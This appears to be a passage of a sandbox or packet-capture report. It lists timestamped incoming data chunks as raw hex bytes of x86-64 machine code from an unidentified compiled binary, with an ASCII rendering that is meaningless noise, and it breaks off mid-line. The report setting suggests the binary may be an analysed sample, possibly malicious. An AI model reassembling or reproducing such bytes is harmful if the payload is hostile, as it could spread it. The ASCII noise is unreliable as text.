2023-01-25 20:04:35 UTC	2252	IN	Data Raw: df 48 89 f8 48 8b 54 24 60 4c 8b 44 24 58 eb 7e 48 8b 70 18 4c 8d 4e 02 48 8b 78 20 48 8b 58 10 4c 39 cf 73 3e 4c 89 4c 24 50 48 89 74 24 48 48 8d 05 3f 9c 23 00 48 89 f1 4c 89 ce e8 14 c5 e1 ff 48 8b 54 24 60 48 8b 74 24 48 4c 8b 44 24 58 4c 8b 4c 24 50 48 89 c3 48 89 cf 48 8b 84 24 08 01 00 00 44 0f b7 54 24 40 66 44 89 14 33 4c 89 48 18 48 89 78 20 83 3d 88 d9 58 00 00 75 06 48 89 58 10 eb 09 48 8d 78 10 e8 c7 61 e3 ff 41 80 78 55 00 66 90 0f 84 c5 01 00 00 90 66 c7 44 24 3e 00 00 66 c7 44 24 3e ff 01 48 83 38 00 0f 85 66 01 00 00 48 83 78 30 00 0f 85 07 11 00 00 4c 8b 48 18 49 83 c1 02 49 83 f9 02 7d 5f 48 8d 05 61 ed 25 00 90 e8 5b e2 dd ff 48 c7 40 08 1b 00 00 00 48 8d 0d 39 cf 2a 00 48 89 08 48 8d 0d 62 01 34 00 48 8b bc 24 08 01 00 00 48 89 0f 83 Data Ascii: HHT$`LD$X~HpLNHx HXL9s>LL$PHt$HH?#HLHT$`Ht$HLD$XLL$PHHH$DT$@fD3LHHx =XuHXHxaAxUffD$>fD$>H8fHx0LHII}_Ha%[H@H9*HHb4H$H
2023-01-25 20:04:35 UTC	2268	IN	Data Raw: 8d 05 6f 5c 23 00 4c 89 c3 e8 47 85 e1 ff 48 8b 5c 24 28 49 89 c0 48 89 cf 48 8b 44 24 60 48 8b 4c 24 30 48 89 7c 24 30 4c 89 44 24 68 49 8d 14 08 48 89 d9 48 89 c3 48 89 d0 e8 16 2f e3 ff 48 8b 54 24 38 48 8b bc 24 80 00 00 00 48 89 57 18 48 8b 54 24 30 48 89 57 20 83 3d a5 99 58 00 00 75 0b 48 8b 44 24 68 48 89 47 10 eb 0e 48 83 c7 10 48 8b 44 24 68 e8 9a 20 e3 ff 48 8b 6c 24 70 48 83 c4 78 c3 48 8d 05 29 5a 23 00 48 8d 1d d2 ad 33 00 66 90 e8 9b 42 e0 ff 90 48 89 44 24 08 e8 70 fd e2 ff 48 8b 44 24 08 e9 06 fe ff ff cc cc cc cc cc cc 4c 8d 64 24 e0 4d 3b 66 10 0f 86 61 03 00 00 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 89 9c 24 b0 00 00 00 48 89 84 24 a8 00 00 00 84 00 83 3d 11 99 58 00 00 90 75 13 44 0f 11 38 44 0f 11 78 Data Ascii: o\#LGH\$(IHHD$`HL$0H\|$0LD$hIHHH/HT$8H$HWHT$0HW =XuHD$hHGHHD$h Hl$pHxH)Z#H3fBHD$pHD$Ld$M;faHH$H$H$H$=XuD8Dx
2023-01-25 20:04:35 UTC	2284	IN	Data Raw: 00 48 8b 74 24 48 4c 8b 46 08 4c 89 84 24 88 00 00 00 4c 8d 46 10 48 8d bc 24 90 00 00 00 4c 89 c6 48 89 6c 24 f0 48 8d 6c 24 f0 e8 a3 eb e2 ff 48 8b 6d 00 bb 02 00 00 00 31 c9 48 8d 7c 24 78 48 8b 44 24 40 e8 4b 53 f6 ff 48 8b 54 24 28 48 ff c2 48 8b 74 24 30 48 39 d6 0f 8f ee fe ff ff e9 d9 fe ff ff 48 89 44 24 08 e8 a6 bd e2 ff 48 8b 44 24 08 90 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d a4 24 30 ff ff ff 4d 3b 66 10 0f 86 7a 04 00 00 48 81 ec 50 01 00 00 48 89 ac 24 48 01 00 00 48 8d ac 24 48 01 00 00 4c 8b 42 08 49 83 38 00 0f 8f 1e 04 00 00 48 89 54 24 40 48 89 84 24 58 01 00 00 48 83 7a 50 00 0f 84 05 02 00 00 90 66 c7 44 24 2e 00 00 c6 44 24 2f 05 48 83 38 00 0f 85 5f 01 00 00 48 83 78 30 Data Ascii: Ht$HLFL$LFH$LHl$Hl$Hm1H\|$xHD$@KSHT$(HHt$0H9HD$HD${L$0M;fzHPH$HH$HLBI8HT$@H$XHzPfD$.D$/H8_Hx0
2023-01-25 20:04:35 UTC	2300	IN	Data Raw: e8 10 d9 fb ff 48 8b 54 24 20 48 ff c2 48 8b b4 24 b0 00 00 00 48 39 d6 7f b4 e9 0e ff ff ff 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 82 7e e2 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 2e fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 f8 4d 3b 66 10 0f 86 0e 02 00 00 48 81 ec 88 00 00 00 48 89 ac 24 80 00 00 00 48 8d ac 24 80 00 00 00 48 89 bc 24 a8 00 00 00 48 89 b4 24 b0 00 00 00 3c e4 75 1d 48 85 f6 74 0d 31 c0 31 c9 31 d2 31 db e9 30 01 00 00 31 c0 31 c9 31 d2 e9 f0 00 00 00 66 81 f9 03 03 72 2d 48 89 7c 24 78 48 89 d8 e8 b5 72 e6 ff 48 8b 8c 24 b0 00 00 00 48 85 c9 74 53 48 89 5c 24 68 48 89 44 24 40 48 8b 54 24 78 31 f6 eb 79 3c e3 75 1e 48 89 f8 48 89 f3 4c 89 c1 e8 43 fc ff ff 48 8b ac 24 80 00 00 00 48 81 c4 88 00 Data Ascii: HT$ HH$H9HD$H\$HL$~HD$H\$HL$.Ld$M;fHH$H$H$H$<uHt11110111fr-H\|$xHrH$HtSH\$hHD$@HT$x1y<uHHLCH$H
2023-01-25 20:04:35 UTC	2316	IN	Data Raw: 24 10 48 83 c4 18 c3 e8 a9 3e e2 ff eb a7 cc cc cc cc cc cc cc 49 3b 66 10 0f 86 1d 01 00 00 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 48 89 5c 24 40 66 89 44 24 38 4c 89 4c 24 68 4c 89 54 24 70 4c 89 44 24 60 48 89 7c 24 50 48 89 74 24 58 48 89 4c 24 48 48 8d 05 59 56 27 00 e8 d4 e2 dc ff 48 8d 0d 4d 01 00 00 48 89 08 48 8b 4c 24 28 48 89 48 10 48 8b 4c 24 30 48 89 48 18 83 3d 81 d9 57 00 00 75 0b 48 8b 4c 24 20 48 89 48 08 eb 0e 48 8d 78 08 48 8b 4c 24 20 e8 76 61 e2 ff 48 8b 4c 24 68 48 89 48 28 48 8b 4c 24 70 48 89 48 30 83 3d 4d d9 57 00 00 75 0b 48 8b 4c 24 60 48 89 48 20 eb 0e 48 8d 78 20 48 8b 4c 24 60 e8 42 61 e2 ff 0f b7 4c 24 38 66 89 48 38 83 3d 22 d9 57 00 00 75 0b 48 8b 4c 24 40 48 89 48 40 eb 0e 48 8d 78 40 48 8b 4c 24 40 e8 17 61 e2 ff 48 Data Ascii: $H>I;fHHl$Hl$H\$@fD$8LL$hLT$pLD$`H\|$PHt$XHL$HHYV'HMHHL$(HHHL$0HH=WuHL$ HHHxHL$ vaHL$hHH(HL$pHH0=MWuHL$`HH Hx HL$`BaL$8fH8="WuHL$@HH@Hx@HL$@aH
2023-01-25 20:04:35 UTC	2332	IN	Data Raw: 10 48 8b 70 20 4c 8b 40 28 49 39 c8 0f 87 b4 00 00 00 4c 29 c6 4c 29 c1 49 89 f1 48 f7 de 48 c1 fe 3f 49 21 f0 4a 8d 04 02 89 df 48 89 cb 4c 89 c9 0f 1f 40 00 e8 7b 13 e3 ff 48 8b 54 24 30 48 01 42 28 31 db 31 c9 48 8b 6c 24 20 48 83 c4 28 c3 8b 4c 24 38 48 63 d9 31 c0 e8 96 ca e0 ff 48 89 d9 48 89 c3 48 8b 44 24 30 e8 86 00 00 00 48 8b 6c 24 20 48 83 c4 28 c3 31 c0 48 89 d1 48 8b 6c 24 20 48 83 c4 28 c3 31 c0 48 89 d3 48 8b 6c 24 20 48 83 c4 28 c3 e8 f9 fd ff ff 48 85 c0 74 12 48 89 d9 48 89 c3 31 c0 48 8b 6c 24 20 48 83 c4 28 c3 b8 01 00 00 00 31 db 31 c9 48 8b 6c 24 20 48 83 c4 28 c3 4c 89 c0 e8 a7 25 e2 ff 90 48 89 44 24 08 89 5c 24 10 e8 d8 fd e1 ff 48 8b 44 24 08 8b 5c 24 10 e9 8a fe ff ff cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 40 02 00 00 Data Ascii: Hp L@(I9L)L)IHH?I!JHL@{HT$0HB(11Hl$ H(L$8Hc1HHHD$0Hl$ H(1HHl$ H(1HHl$ H(HtHH1Hl$ H(11Hl$ H(L%HD$\$HD$\$I;f@
2023-01-25 20:04:35 UTC	2348	IN	Data Raw: 60 01 00 00 48 8b b4 24 70 01 00 00 48 8d 56 01 48 8b 9c 24 68 01 00 00 48 8b bc 24 78 01 00 00 48 39 d7 73 33 48 8d 05 49 1c 22 00 48 89 f1 48 89 d6 0f 1f 00 e8 1b 45 e0 ff 48 89 8c 24 78 01 00 00 48 89 84 24 68 01 00 00 4c 8d 84 24 60 01 00 00 48 89 de 48 89 c3 48 8d 56 01 48 89 94 24 70 01 00 00 c6 04 33 25 0f b6 54 24 45 41 89 d1 c0 ea 04 0f b6 d2 4c 8d 15 99 f0 28 00 41 0f b6 14 12 90 4c 8b 9c 24 60 01 00 00 4d 85 db 74 0f 0f 1f 44 00 00 4d 39 c3 74 0d e9 6e 02 00 00 4c 89 84 24 60 01 00 00 48 8b b4 24 70 01 00 00 4c 8d 5e 01 48 8b 9c 24 68 01 00 00 48 8b bc 24 78 01 00 00 4c 39 df 73 46 88 54 24 47 48 8d 05 a2 1b 22 00 48 89 f1 4c 89 de e8 77 44 e0 ff 48 89 8c 24 78 01 00 00 48 89 84 24 68 01 00 00 0f b6 54 24 47 4c 8d 84 24 60 01 00 00 44 0f b6 4c Data Ascii: `H$pHVH$hH$xH9s3HI"HHEH$xH$hL$`HHHVH$p3%T$EAL(AL$`MtDM9tnL$`H$pL^H$hH$xL9sFT$GH"HLwDH$xH$hT$GL$`DL
2023-01-25 20:04:35 UTC	2364	IN	Data Raw: 2e 04 00 00 48 81 ec f0 00 00 00 48 89 ac 24 e8 00 00 00 48 8d ac 24 e8 00 00 00 48 89 b4 24 18 01 00 00 49 c7 c5 00 00 00 00 4c 89 ac 24 e0 00 00 00 48 89 bc 24 10 01 00 00 48 89 8c 24 08 01 00 00 48 89 9c 24 00 01 00 00 48 89 84 24 f8 00 00 00 c6 44 24 47 00 48 c7 84 24 a8 00 00 00 00 00 00 00 44 0f 11 bc 24 b0 00 00 00 44 0f 11 bc 24 88 00 00 00 48 89 b4 24 a8 00 00 00 4c 89 84 24 b0 00 00 00 4c 89 8c 24 b8 00 00 00 e8 a3 3b ea ff 0f 1f 00 48 85 c9 0f 85 1c 01 00 00 48 8b 48 18 48 89 d8 ff d1 84 c0 0f 84 d3 00 00 00 90 48 8b 84 24 f8 00 00 00 48 8b 9c 24 00 01 00 00 31 c9 31 ff e8 0c 13 ea ff 48 85 db 75 7c 44 0f 11 bc 24 98 00 00 00 48 8d 0d b7 03 00 00 48 89 8c 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 8d 8c 24 98 00 00 00 48 89 8c 24 e0 00 00 00 c6 Data Ascii: .HH$H$H$IL$H$H$H$H$D$GH$D$D$H$L$L$;HHHHH$H$11Hu\|D$HH$H$H$H$
2023-01-25 20:04:35 UTC	2380	IN	Data Raw: 24 98 00 00 00 48 8b 54 24 68 48 8b 5c 24 60 48 8b 74 24 70 4c 8b 44 24 50 48 39 c2 7f 37 48 8b 84 24 90 00 00 00 48 89 d1 e8 e7 2d db ff 84 c0 75 3e 48 8b 84 24 98 00 00 00 48 8b 54 24 68 48 8b 5c 24 60 48 8b 74 24 70 4c 8b 44 24 50 0f 1f 80 00 00 00 00 48 85 c0 0f 86 c0 00 00 00 48 8b bc 24 90 00 00 00 44 0f b6 0f 4c 8d 52 ff eb 19 31 c0 48 8b 5c 24 50 48 8b 4c 24 58 48 8b 6c 24 38 48 83 c4 40 c3 49 ff ca 4d 85 d2 7c 0e 46 0f b6 1c 13 66 90 45 38 cb 75 ec eb 07 49 c7 c2 ff ff ff ff 4d 85 d2 7c 56 4c 39 d2 72 66 48 89 d1 4c 29 d1 4d 89 d1 49 29 f2 49 c1 fa 3f 4d 21 ca 4c 01 d3 48 39 c8 7d 04 31 c0 eb 1d 4c 89 4c 24 30 48 89 f8 90 e8 3b 2d db ff 48 8b 54 24 68 4c 8b 44 24 50 4c 8b 4c 24 30 84 c0 74 11 4c 89 c8 31 db 31 c9 48 8b 6c 24 38 48 83 c4 40 c3 48 Data Ascii: $HT$hH\$`Ht$pLD$PH97H$H-u>H$HT$hH\$`Ht$pLD$PHH$DLR1H\$PHL$XHl$8H@IM\|FfE8uIM\|VL9rfHL)MI)I?M!LH9}1LL$0H;-HT$hLD$PLL$0tL11Hl$8H@H
2023-01-25 20:04:35 UTC	2396	IN	Data Raw: 24 60 48 83 c4 68 c3 e8 69 26 e1 ff 48 89 da e8 21 26 e1 ff 48 89 f1 e8 59 26 e1 ff 48 89 f1 48 89 da e8 0e 26 e1 ff 4c 89 c1 4c 89 ca e8 03 26 e1 ff 48 89 f8 e8 3b 26 e1 ff 90 48 89 44 24 08 e8 70 fe e0 ff 48 8b 44 24 08 e9 66 fc ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 4b 01 00 00 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 84 00 80 b8 d0 10 00 00 00 0f 84 e4 00 00 00 48 8b 88 a0 10 00 00 48 8b 98 a8 10 00 00 48 89 ce 48 29 d9 0f 1f 44 00 00 48 85 c9 0f 8e 8f 00 00 00 48 8b 90 98 10 00 00 4c 8b 80 88 10 00 00 66 0f 1f 84 00 00 00 00 00 48 39 f2 0f 82 e3 00 00 00 48 39 f3 0f 87 cf 00 00 00 48 89 b0 a8 10 00 00 48 29 da 48 89 d6 48 f7 da 48 c1 fa 3f 48 21 d3 49 8d 14 18 48 8b 98 90 10 00 00 48 39 98 a0 10 00 00 75 0f 44 0f 11 b8 a0 10 00 00 c6 80 b0 10 00 Data Ascii: $`Hhi&H!&HY&HH&LL&H;&HD$pHD$fI;fKHHl$Hl$HHHH)DHHLfH9H9HH)HHH?H!IHH9uD
2023-01-25 20:04:35 UTC	2412	IN	Data Raw: 18 48 8b 90 20 02 00 00 48 8b 0a ff d1 90 48 8b 4c 24 18 48 c7 81 88 01 00 00 00 00 00 00 c6 81 80 01 00 00 00 48 8b 6c 24 08 48 83 c4 10 c3 48 89 44 24 08 90 e8 7b be e0 ff 48 8b 44 24 08 eb 94 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 89 01 00 00 48 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 89 44 24 60 31 c9 90 eb 0b 48 8b 4c 24 28 48 ff c1 48 89 f8 48 39 88 88 01 00 00 0f 8e 24 01 00 00 66 0f 1f 44 00 00 48 83 f9 20 0f 83 3b 01 00 00 4c 8d 04 c8 45 0f b6 00 4c 8d 0c c8 4d 8d 49 01 45 0f b6 09 45 01 c1 45 0f b6 c9 49 81 f9 80 00 00 00 0f 87 06 01 00 00 4d 39 c8 0f 87 f2 00 00 00 48 89 4c 24 28 48 8b 90 10 02 00 00 4d 29 c1 4a 8d 34 0a 48 89 74 24 40 48 8b b8 18 02 00 00 48 8b 98 08 02 00 00 4d 8d 50 80 49 c1 fa 3f 4d Data Ascii: H HHL$HHl$HHD${HD$I;fHXHl$PHl$PHD$`1HL$(HHH9$fDH ;LELMIEEEIM9HL$(HM)J4Ht$@HHMPI?M
2023-01-25 20:04:35 UTC	2428	IN	Data Raw: 00 00 48 8b 4c 24 40 48 8b 54 24 68 48 8b 7c 24 70 0f 1f 40 00 e9 07 ff ff ff 90 48 c7 80 88 01 00 00 00 00 00 00 c6 80 80 01 00 00 00 0f 1f 84 00 00 00 00 00 48 81 f9 80 00 00 00 77 1e 48 05 28 02 00 00 48 89 cb b9 80 00 00 00 48 8b ac 24 d0 00 00 00 48 81 c4 d8 00 00 00 c3 ba 80 00 00 00 e8 8f a5 e0 ff 44 89 c0 4c 89 c9 e8 04 a6 e0 ff 4c 89 c9 ba 80 00 00 00 e8 77 a5 e0 ff 48 89 c8 b9 80 00 00 00 e8 ea a5 e0 ff 48 89 d0 b9 20 00 00 00 66 90 e8 1b a5 e0 ff 48 8d 05 14 da 20 00 48 8d 1d cd 3c 31 00 e8 88 c2 dd ff 90 48 89 44 24 08 66 90 e8 fb 7d e0 ff 48 8b 44 24 08 e9 f1 fb ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 be 00 00 00 48 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 89 44 24 60 c6 80 81 01 00 00 00 90 48 8b 1d 74 64 Data Ascii: HL$@HT$hH\|$p@HHwH(HH$HDLLwHH fH H<1HD$f}HD$I;fHXHl$PHl$PHD$`Htd
2023-01-25 20:04:35 UTC	2444	IN	Data Raw: 59 ff 4d 39 cb 0f 85 05 fe ff ff 4c 39 c9 76 3c 45 0f b6 4c 02 01 41 80 f9 2e 0f 85 f0 fd ff ff 48 89 8c 24 c0 00 00 00 e9 e3 fd ff ff 48 ff c1 0f 1f 44 00 00 48 39 cb 0f 8e 99 fe ff ff 0f b6 14 08 80 fa 80 72 e6 e9 18 fe ff ff 4c 89 c8 e8 61 65 e0 ff 90 e8 5b 65 e0 ff 48 8b 84 24 e8 00 00 00 48 8b 4c 24 58 48 8b 54 24 40 48 8b 9c 24 90 00 00 00 48 8b 74 24 78 0f b6 bc 24 00 01 00 00 4c 8b 84 24 c0 00 00 00 66 0f 1f 84 00 00 00 00 00 0f 1f 00 4c 39 84 24 a0 00 00 00 0f 8e f7 fb ff ff 48 8d 84 24 98 00 00 00 e8 65 0d 00 00 48 8b 8c 24 e8 00 00 00 48 8b 51 20 48 8b 32 ff d6 84 c0 0f 84 c7 00 00 00 48 8b 84 24 d0 00 00 00 48 ff c0 48 89 84 24 d0 00 00 00 48 8b 94 24 a8 00 00 00 48 8b 8c 24 b0 00 00 00 48 85 d2 74 49 0f 1f 40 00 48 39 c1 7e 28 4c 8d 41 ff 49 Data Ascii: YM9L9v<ELA.H$HDH9rLae[eH$HL$XHT$@H$Ht$x$L$fL9$H$eH$HQ H2H$HH$H$H$HtI@H9~(LAI
2023-01-25 20:04:35 UTC	2460	IN	Data Raw: 48 8b bc 24 28 01 00 00 48 8b b4 24 30 01 00 00 44 0f b6 84 24 38 01 00 00 4c 89 e0 e8 d4 14 00 00 48 8b 44 24 60 0f b6 54 24 53 4c 8b a4 24 10 01 00 00 66 90 48 85 c0 75 76 48 8b bc 24 18 01 00 00 48 8b b4 24 20 01 00 00 4c 8b 84 24 28 01 00 00 4c 8b 8c 24 30 01 00 00 44 0f b6 94 24 38 01 00 00 49 8b 44 24 60 49 8b 5c 24 68 49 8b 4c 24 70 41 89 d3 e8 1b 07 00 00 48 8b bc 24 10 01 00 00 48 89 5f 68 48 89 4f 70 83 3d 74 99 55 00 00 75 09 48 89 47 60 e9 8f 00 00 00 48 8d 57 60 48 89 f9 48 89 d7 e8 6a 20 e0 ff 48 89 cf eb 7b 48 8b bc 24 18 01 00 00 48 8b b4 24 20 01 00 00 4c 8b 84 24 28 01 00 00 4c 8b 8c 24 30 01 00 00 44 0f b6 94 24 38 01 00 00 4d 8b 6c 24 60 49 8b 5c 24 68 49 8b 4c 24 70 88 14 24 49 89 c3 4c 89 e8 0f 1f 40 00 e8 db 07 00 00 48 8b bc 24 10 Data Ascii: H$(H$0D$8LHD$`T$SL$fHuvH$H$ L$(L$0D$8ID$`I\$hIL$pAH$H_hHOp=tUuHG`HW`HHj H{H$H$ L$(L$0D$8Ml$`I\$hIL$p$IL@H$
2023-01-25 20:04:35 UTC	2476	IN	Data Raw: 8b 5c 24 10 e9 2c fc ff ff cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 ea 00 00 00 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 89 4c 24 60 48 89 7c 24 68 48 89 74 24 70 44 88 44 24 78 45 84 c0 75 57 44 0f 11 7c 24 20 44 0f 11 7c 24 30 48 8b 54 24 58 48 8b 74 24 60 48 89 54 24 20 48 89 74 24 28 48 8b 54 24 70 48 8b 74 24 68 48 89 74 24 30 48 89 54 24 38 48 8b 58 28 48 8d 4c 24 20 48 8d 05 01 9b 21 00 90 e8 9b 72 da ff 48 8b 18 48 85 db 75 4b 48 8b 44 24 50 48 8b 58 20 48 8b 4c 24 58 48 8b 7c 24 60 48 8d 05 59 96 21 00 e8 f4 b2 da ff 48 8b 18 48 85 db 74 16 48 8b 44 24 50 e8 82 00 00 00 31 db 48 8b 6c 24 40 48 83 c4 48 c3 31 c0 31 db 48 8b 6c 24 40 48 83 c4 48 c3 48 8b 44 24 50 0f 1f 00 e8 5b 00 00 00 bb 01 00 00 00 Data Ascii: \$,I;fHHHl$@Hl$@HD$PH\$XHL$`H\|$hHt$pDD$xEuWD\|$ D\|$0HT$XHt$`HT$ Ht$(HT$pHt$hHt$0HT$8HX(HL$ H!rHHuKHD$PHX HL$XH\|$`HY!HHtHD$P1Hl$@HH11Hl$@HHHD$P[
2023-01-25 20:04:35 UTC	2492	IN	Data Raw: 75 31 48 8b b4 24 f8 01 00 00 48 8b 0e 48 89 08 48 8d 4e 08 48 8d 78 08 48 89 f0 48 89 ce 48 89 6c 24 f0 48 8d 6c 24 f0 e8 36 ab df ff 48 8b 6d 00 eb 1f 48 89 c3 48 8b 8c 24 f8 01 00 00 48 8d 05 50 cd 25 00 e8 eb 87 da ff 48 8b 84 24 f8 01 00 00 48 8b 48 38 48 89 c8 e8 77 43 00 00 48 8b bc 24 e0 00 00 00 84 07 83 3d 96 19 55 00 00 75 06 48 89 47 38 eb 09 48 83 c7 38 e8 95 a0 df ff 48 8d 84 24 90 00 00 00 48 8b 9c 24 b8 00 00 00 48 8b 4c 24 40 48 8d 3d 5f 71 26 00 be 01 00 00 00 4c 8b 84 24 b0 00 00 00 4c 8b 4c 24 38 e8 22 41 de ff 48 89 d9 48 89 c3 48 8d 44 24 70 e8 b2 45 de ff 48 8b 15 7b 96 4f 00 48 89 cf 48 89 d9 48 89 c3 48 89 d0 e8 9a 53 ec ff 48 8b 94 24 e0 00 00 00 48 8b 52 38 48 89 94 24 e8 00 00 00 b9 06 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d Data Ascii: u1H$HHHNHxHHHl$Hl$6HmHH$HP%H$HH8HwCH$=UuHG8H8H$H$HL$@H=_q&L$LL$8"AHHHD$pEH{OHHHHSH$HR8H$HH1H
2023-01-25 20:04:35 UTC	2508	IN	Data Raw: 06 48 89 04 ca eb b9 e8 09 61 df ff eb b2 48 89 d0 0f 1f 40 00 e8 5b 66 df ff 48 89 c2 e8 d3 66 df ff 90 48 89 44 24 08 e8 88 3e df ff 48 8b 44 24 08 0f 1f 00 e9 fb fa ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 98 4d 3b 66 10 0f 86 3f 03 00 00 48 81 ec e8 00 00 00 48 89 ac 24 e0 00 00 00 48 8d ac 24 e0 00 00 00 48 85 c0 0f 84 c1 00 00 00 48 89 84 24 f0 00 00 00 48 8d 05 a2 36 24 00 66 90 e8 9b e2 d9 ff 48 89 44 24 60 83 3d 5f d9 54 00 00 75 30 48 8b 94 24 f0 00 00 00 48 8b 32 48 89 30 0f 10 42 08 0f 11 40 08 0f 10 42 18 0f 11 40 18 0f 10 42 28 0f 11 40 28 0f 10 42 38 0f 11 40 38 eb 24 48 89 c3 48 8b 8c 24 f0 00 00 00 48 8d 05 4b 36 24 00 e8 46 47 da ff 48 8b 44 24 60 48 8b 94 24 f0 00 00 00 48 8b 5a Data Ascii: HaH@[fHfHD$>HD$Ld$M;f?HH$H$HH$H6$fHD$`=_Tu0H$H2H0B@B@B(@(B8@8$HH$HK6$FGHD$`H$HZ
2023-01-25 20:04:35 UTC	2524	IN	Data Raw: 89 54 24 50 48 8b 70 08 48 89 74 24 30 31 c0 eb 12 48 8b 44 24 28 48 ff c0 48 8b 54 24 50 48 8b 74 24 30 48 39 f0 7d 46 48 89 44 24 28 48 8b 0c c2 48 89 c8 90 e8 9b de 00 00 84 c0 74 d3 90 bb ff ff ff ff 48 8b 54 24 68 f0 0f c1 5a 08 ff cb 85 db 74 0a 48 8b 44 24 38 e8 77 cc df ff 31 c0 31 db 31 c9 48 8b 6c 24 58 48 83 c4 60 c3 48 8b 54 24 68 48 8b 5a 28 48 8d 05 d7 cc 20 00 48 8b 4c 24 70 48 8b 7c 24 78 e8 28 f7 d9 ff 88 5c 24 27 48 8b 10 90 84 db 0f 85 ac 01 00 00 48 8b 4c 24 68 48 83 79 28 00 75 34 e8 e7 ad d9 ff 83 3d 50 99 54 00 00 75 0b 48 8b 4c 24 68 48 89 41 28 eb 1b 48 8b 7c 24 68 48 8d 4f 28 48 89 fa 48 89 cf 0f 1f 40 00 e8 3b 20 df ff 48 89 d1 48 8d 05 51 2a 1f 00 31 db e8 4a 1f d9 ff 48 89 44 24 48 48 8d 05 5e b1 23 00 e8 39 a2 d9 ff 48 89 44 Data Ascii: T$PHpHt$01HD$(HHT$PHt$0H9}FHD$(HHtHT$hZtHD$8w111Hl$XH`HT$hHZ(H HL$pH\|$x(\$'HHL$hHy(u4=PTuHL$hHA(H\|$hHO(HH@; HHQ*1JHD$HH^#9HD
2023-01-25 20:04:35 UTC	2540	IN	Data Raw: 49 39 f9 0f 82 99 00 00 00 49 89 c2 48 d1 e0 66 0f 1f 44 00 00 48 39 c7 0f 82 7c 00 00 00 4c 89 ca 49 29 c1 4d 89 cb 49 f7 d9 49 c1 f9 3f 4c 21 c8 4f 8d 0c 12 4d 8d 49 06 44 0f b7 14 06 4c 39 ca 72 4f 49 39 f9 72 3f 4d 8d 4b fe 49 f7 d9 49 c1 f9 3f 4c 21 cf 66 41 c1 c2 08 8b 04 3e 66 44 39 d3 0f 85 57 ff ff ff 0f c8 bb 01 00 00 00 48 8b 6c 24 10 48 83 c4 18 c3 31 c0 31 db 48 8b 6c 24 10 48 83 c4 18 c3 48 89 f8 4c 89 c9 e8 e3 e5 de ff 4c 89 c9 e8 9b e5 de ff 48 89 f9 e8 d3 e5 de ff 48 89 f9 4c 89 ca e8 88 e5 de ff 48 8d 05 01 1a 1f 00 48 8d 1d fa 71 2f 00 e8 75 02 dc ff 90 48 89 44 24 08 66 89 5c 24 10 e8 e5 bd de ff 48 8b 44 24 08 0f b7 5c 24 10 e9 b6 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 18 48 89 6c 24 10 48 Data Ascii: I9IHfDH9\|LI)MII?L!OMIDL9rOI9r?MKII?L!fA>fD9WHl$H11Hl$HHLLHHLHHq/uHD$f\$HD$\$HHl$H
2023-01-25 20:04:35 UTC	2556	IN	Data Raw: 4c 89 c7 44 0f 11 bc 24 a0 00 00 00 48 c7 84 24 b0 00 00 00 00 00 00 00 48 8d 35 d6 05 00 00 48 89 b4 24 a0 00 00 00 48 89 bc 24 a8 00 00 00 48 8d 35 67 de 28 00 48 89 b4 24 b0 00 00 00 48 8d b4 24 a0 00 00 00 48 89 b4 24 d0 00 00 00 c6 44 24 2f 01 48 8d 05 3b 5e 2f 00 48 8b b4 24 f0 00 00 00 eb 6e 48 8d 05 ca 2d 21 00 e8 c5 22 d9 ff 48 c7 40 08 35 00 00 00 48 8d 0d 72 c8 26 00 48 89 08 48 c7 44 24 40 00 00 00 00 48 8d 0d c3 41 2f 00 48 89 8c 24 80 00 00 00 48 89 84 24 88 00 00 00 48 8b 9c 24 80 00 00 00 48 8b 4c 24 40 48 89 c2 48 89 c8 48 89 d1 48 8b ac 24 d8 00 00 00 48 81 c4 e0 00 00 00 c3 48 8d 05 26 5d 2f 00 48 89 de 48 89 74 24 58 48 89 44 24 30 48 8b 48 18 48 89 f0 ff d1 48 89 cf 48 89 d9 48 89 c3 48 8b 44 24 50 66 90 e8 db 9e fe ff 48 85 db 0f 85 Data Ascii: LD$H$H5H$H$H5g(H$H$H$D$/H;^/H$nH-!"H@5Hr&HHD$@HA/H$H$H$HL$@HHHH$HH&]/HHt$XHD$0HHHHHHHD$PfH
2023-01-25 20:04:35 UTC	2572	IN	Data Raw: 44 0f 11 bc 24 a8 00 00 00 48 8b 54 24 38 48 85 d2 74 06 48 8b 5a 08 eb 03 48 89 d3 48 89 9c 24 a8 00 00 00 48 8b 54 24 78 48 89 94 24 b0 00 00 00 80 3d 93 d3 53 00 00 74 22 90 48 8d 05 42 1b 26 00 bb 24 00 00 00 48 8d 8c 24 a8 00 00 00 bf 01 00 00 00 48 89 fe e8 d9 da ed ff 48 8b 44 24 70 48 8b 54 24 30 e9 fd fc ff ff 48 8b 4c 24 70 48 8b 91 e8 00 00 00 48 8b 89 f0 00 00 00 48 85 d2 75 0f 90 48 8b 0d 82 55 4e 00 48 8d 15 13 2c 2f 00 48 8b 52 28 48 89 c8 ff d2 eb 06 48 89 d8 48 89 cb 48 89 d9 48 89 c3 48 8b 44 24 68 48 85 db 74 75 44 0f 11 bc 24 98 00 00 00 74 06 48 8b 53 08 eb 03 48 89 da 48 89 94 24 98 00 00 00 48 89 8c 24 a0 00 00 00 80 3d ed d2 53 00 00 74 36 48 89 4c 24 78 48 89 5c 24 58 90 